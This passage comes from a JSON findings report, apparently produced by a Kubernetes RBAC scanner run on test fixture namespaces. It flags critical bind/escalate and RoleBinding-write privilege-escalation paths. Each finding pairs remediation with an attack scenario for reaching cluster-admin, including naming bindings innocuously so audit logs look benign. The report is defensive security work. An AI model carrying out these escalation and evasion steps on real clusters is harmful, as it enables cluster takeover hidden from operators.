      "Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing `cluster-admin/admin/system:masters` outside a tiny admin allowlist.",
      "Verify with `kubectl auth can-i bind clusterroles --as=sa-bind-escalate -A` and `kubectl auth can-i escalate roles --as=sa-bind-escalate -A` both returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Aqua Security — Kubernetes RBAC: How to Avoid Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "SCHUTZWERK — Kubernetes RBAC: Paths for Privilege Escalation",
        "url": "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-009:ServiceAccount/rbac-fixtures/sa-rolebinding-mutate::roles,clusterroles",
    "rule_id": "KUBE-PRIVESC-009",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `bind/escalate` on roles bypasses RBAC (`ServiceAccount/rbac-fixtures/sa-rolebinding-mutate`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate has the `bind` or `escalate` verb on `roles/clusterroles` via ClusterRoleBinding `crb-rolebinding-mutate` → ClusterRole `cr-rolebinding-mutate`. Cluster-wide: applies to every current and future namespace.\n\nKubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The `escalate` and `bind` verbs are explicit, documented exceptions to that guard.\n\n`escalate` lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.\n\n`bind` lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With `bind` on `clusterroles`, an attacker creates a ClusterRoleBinding from themselves to `cluster-admin` and is done in one step.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-rolebinding-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-rolebinding-mutate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including `cluster-admin`.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i bind clusterroles --as=sa-rolebinding-mutate -A`.",
      "They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the `cluster-admin` ClusterRole and `kubectl apply` it.",
      "They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.",
      "Alternatively, with `escalate` on `clusterroles`, they `kubectl edit clusterrole/\u003crole-they-already-have\u003e` and add `*` verbs/resources/apiGroups, retaining the same binding.",
      "They optionally name the new ClusterRoleBinding innocuously (e.g. `cluster-monitor-binding`) so the change is less visible to operators reviewing `kubectl get clusterrolebindings`."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "roles",
        "clusterroles"
      ],
      "scope": "cluster",
      "source_binding": "crb-rolebinding-mutate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-rolebinding-mutate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "bind"
      ]
    },
    "remediation": "Remove `bind` and `escalate` from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to `cluster-admin` or system roles.",
    "remediation_steps": [
      "Audit every Role/ClusterRole that includes `bind` or `escalate` with `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN(\"bind\",\"escalate\"))'`.",
      "Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope `bind` with `resourceNames` to a list of low-privilege ClusterRoles.",
      "Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing `cluster-admin/admin/system:masters` outside a tiny admin allowlist.",
      "Verify with `kubectl auth can-i bind clusterroles --as=sa-rolebinding-mutate -A` and `kubectl auth can-i escalate roles --as=sa-rolebinding-mutate -A` both returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Aqua Security — Kubernetes RBAC: How to Avoid Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "SCHUTZWERK — Kubernetes RBAC: Paths for Privilege Escalation",
        "url": "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-009:ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate::clusterroles",
    "rule_id": "KUBE-PRIVESC-009",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `bind/escalate` on roles bypasses RBAC (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`)",
    "description": "Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate has the `bind` or `escalate` verb on `roles/clusterroles` via ClusterRoleBinding `crb-ns-rolebinding-mutate-bind` → ClusterRole `cr-ns-rolebinding-mutate-bind`. Cluster-wide: applies to every current and future namespace.\n\nKubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The `escalate` and `bind` verbs are explicit, documented exceptions to that guard.\n\n`escalate` lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.\n\n`bind` lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With `bind` on `clusterroles`, an attacker creates a ClusterRoleBinding from themselves to `cluster-admin` and is done in one step.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ns-rolebinding-mutate",
      "namespace": "rbac-ns-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-ns-rolebinding-mutate-bind",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including `cluster-admin`.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i bind clusterroles --as=sa-ns-rolebinding-mutate -A`.",
      "They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the `cluster-admin` ClusterRole and `kubectl apply` it.",
      "They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.",
      "Alternatively, with `escalate` on `clusterroles`, they `kubectl edit clusterrole/\u003crole-they-already-have\u003e` and add `*` verbs/resources/apiGroups, retaining the same binding.",
      "They optionally name the new ClusterRoleBinding innocuously (e.g. `cluster-monitor-binding`) so the change is less visible to operators reviewing `kubectl get clusterrolebindings`."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "clusterroles"
      ],
      "scope": "cluster",
      "source_binding": "crb-ns-rolebinding-mutate-bind",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-ns-rolebinding-mutate-bind",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "bind"
      ]
    },
    "remediation": "Remove `bind` and `escalate` from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to `cluster-admin` or system roles.",
    "remediation_steps": [
      "Audit every Role/ClusterRole that includes `bind` or `escalate` with `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN(\"bind\",\"escalate\"))'`.",
      "Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope `bind` with `resourceNames` to a list of low-privilege ClusterRoles.",
      "Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing `cluster-admin/admin/system:masters` outside a tiny admin allowlist.",
      "Verify with `kubectl auth can-i bind clusterroles --as=sa-ns-rolebinding-mutate -A` and `kubectl auth can-i escalate roles --as=sa-ns-rolebinding-mutate -A` both returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Aqua Security — Kubernetes RBAC: How to Avoid Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "SCHUTZWERK — Kubernetes RBAC: Paths for Privilege Escalation",
        "url": "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-010:ServiceAccount/rbac-fixtures/sa-rolebinding-mutate::rolebindings,clusterrolebindings",
    "rule_id": "KUBE-PRIVESC-010",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (`ServiceAccount/rbac-fixtures/sa-rolebinding-mutate`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can `create/update/patch` `rolebindings/clusterrolebindings` via ClusterRoleBinding `crb-rolebinding-mutate` → ClusterRole `cr-rolebinding-mutate`. Cluster-wide: applies to every current and future namespace.\n\nRoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like `view/edit`), they can re-bind it to backup identities for persistence.\n\nA RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so `create rolebindings` in `kube-system` is effectively cluster-admin-on-kube-system. Combined with `bind` on `clusterroles` (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the `Cluster-admin binding` technique.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-rolebinding-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-rolebinding-mutate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Self-grant any role the subject already holds (or any ClusterRole, when paired with `bind` or when binding into namespaces); cluster-wide writes are one step from cluster-admin.",
    "attack_scenario": [
      "Attacker enumerates what they can already bind with `kubectl auth can-i create clusterrolebindings --as=sa-rolebinding-mutate -A` and `kubectl auth can-i --list  --as=sa-rolebinding-mutate -A`.",
      "If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.",
      "With `bind` on `cluster-admin` (often via wildcards), they create a ClusterRoleBinding from themselves to `cluster-admin`.",
      "Even without `bind`, in `kube-system` they create a RoleBinding referencing `system:controller:clusterrole-aggregation-controller` (which has `escalate` baked in) and pivot from there.",
      "They name the binding innocuously (e.g. `monitoring-readonly`) so audit logs look benign."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "rolebindings",
        "clusterrolebindings"
      ],
      "scope": "cluster",
      "source_binding": "crb-rolebinding-mutate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-rolebinding-mutate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Restrict `create/update/patch` on `rolebindings/clusterrolebindings` to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.",
      "Remove the verbs entirely from this Role/ClusterRole, or scope them with `resourceNames` to a fixed list of binding names that the workload owns.",
      "Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.",
      "Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (`cluster-admin`, `admin`, anything matching `*system:*`) outside an approved admin allowlist.",
      "Verify with `kubectl auth can-i create clusterrolebindings --as=sa-rolebinding-mutate -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic — Kubernetes Cluster-Admin Role Binding Created (detection)",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "Google Cloud — Best practices for GKE RBAC",
        "url": "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-010:ServiceAccount/cutres/cutres-detour:cutres:rolebindings",
    "rule_id": "KUBE-PRIVESC-010",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `cutres` only write access to (Cluster)RoleBindings opens a self-grant path (`ServiceAccount/cutres/cutres-detour`)",
    "description": "Subject ServiceAccount/cutres/cutres-detour can `create/update/patch` `rolebindings/clusterrolebindings` via RoleBinding `cutres/cutres-detour-binder` → Role `cutres/cutres-detour-binder`. Namespace `cutres` only.\n\nRoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like `view/edit`), they can re-bind it to backup identities for persistence.\n\nA RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so `create rolebindings` in `kube-system` is effectively cluster-admin-on-kube-system. Combined with `bind` on `clusterroles` (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the `Cluster-admin binding` technique.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cutres-detour-binder",
      "namespace": "cutres",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres` only"
    },
    "impact": "Self-grant any role the subject already holds (or any ClusterRole, when paired with `bind` or when binding into namespaces); cluster-wide writes are one step from cluster-admin.",
    "attack_scenario": [
      "Attacker enumerates what they can already bind with `kubectl auth can-i create clusterrolebindings --as=cutres-detour -n cutres` and `kubectl auth can-i --list  --as=cutres-detour -n cutres`.",
      "If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.",
      "With `bind` on `cluster-admin` (often via wildcards), they create a ClusterRoleBinding from themselves to `cluster-admin`.",
      "Even without `bind`, in `kube-system` they create a RoleBinding referencing `system:controller:clusterrole-aggregation-controller` (which has `escalate` baked in) and pivot from there.",
      "They name the binding innocuously (e.g. `monitoring-readonly`) so audit logs look benign."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "cutres",
      "resource_names": null,
      "resources": [
        "rolebindings"
      ],
      "scope": "namespace",
      "source_binding": "cutres-detour-binder",
      "source_binding_kind": "RoleBinding",
      "source_role": "cutres-detour-binder",
      "source_role_kind": "Role",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Restrict `create/update/patch` on `rolebindings/clusterrolebindings` to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.",
      "Remove the verbs entirely from this Role/ClusterRole, or scope them with `resourceNames` to a fixed list of binding names that the workload owns.",
      "Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.",
      "Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (`cluster-admin`, `admin`, anything matching `*system:*`) outside an approved admin allowlist.",
      "Verify with `kubectl auth can-i create clusterrolebindings --as=cutres-detour -n cutres` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic — Kubernetes Cluster-Admin Role Binding Created (detection)",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "Google Cloud — Best practices for GKE RBAC",
        "url": "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-010:ServiceAccount/deepchain-tenant/deepchain-binder:deepchain-tenant:rolebindings",
    "rule_id": "KUBE-PRIVESC-010",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `deepchain-tenant` only write access to (Cluster)RoleBindings opens a self-grant path (`ServiceAccount/deepchain-tenant/deepchain-binder`)",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-binder can `create/update/patch` `rolebindings/clusterrolebindings` via RoleBinding `deepchain-tenant/deepchain-binder` → Role `deepchain-tenant/deepchain-binder`. Namespace `deepchain-tenant` only.\n\nRoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like `view/edit`), they can re-bind it to backup identities for persistence.\n\nA RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so `create rolebindings` in `kube-system` is effectively cluster-admin-on-kube-system. Combined with `bind` on `clusterroles` (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the `Cluster-admin binding` technique.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `deepchain-tenant` only"
    },
    "impact": "Self-grant any role the subject already holds (or any ClusterRole, when paired with `bind` or when binding into namespaces); cluster-wide writes are one step from cluster-admin.",
    "attack_scenario": [
      "Attacker enumerates what they can already bind with `kubectl auth can-i create clusterrolebindings --as=deepchain-binder -n deepchain-tenant` and `kubectl auth can-i --list  --as=deepchain-binder -n deepchain-tenant`.",
      "If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.",
      "With `bind` on `cluster-admin` (often via wildcards), they create a ClusterRoleBinding from themselves to `cluster-admin`.",
      "Even without `bind`, in `kube-system` they create a RoleBinding referencing `system:controller:clusterrole-aggregation-controller` (which has `escalate` baked in) and pivot from there.",
      "They name the binding innocuously (e.g. `monitoring-readonly`) so audit logs look benign."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "deepchain-tenant",
      "resource_names": null,
      "resources": [
        "rolebindings"
      ],
      "scope": "namespace",
      "source_binding": "deepchain-binder",
      "source_binding_kind": "RoleBinding",
      "source_role": "deepchain-binder",
      "source_role_kind": "Role",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Restrict `create/update/patch` on `rolebindings/clusterrolebindings` to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.",
      "Remove the verbs entirely from this Role/ClusterRole, or scope them with `resourceNames` to a fixed list of binding names that the workload owns.",
      "Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.",
      "Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (`cluster-admin`, `admin`, anything matching `*system:*`) outside an approved admin allowlist.",
      "Verify with `kubectl auth can-i create clusterrolebindings --as=deepchain-binder -n deepchain-tenant` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://cloud.google.com/kubernetes-engine/docs/best-practices/rbac",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
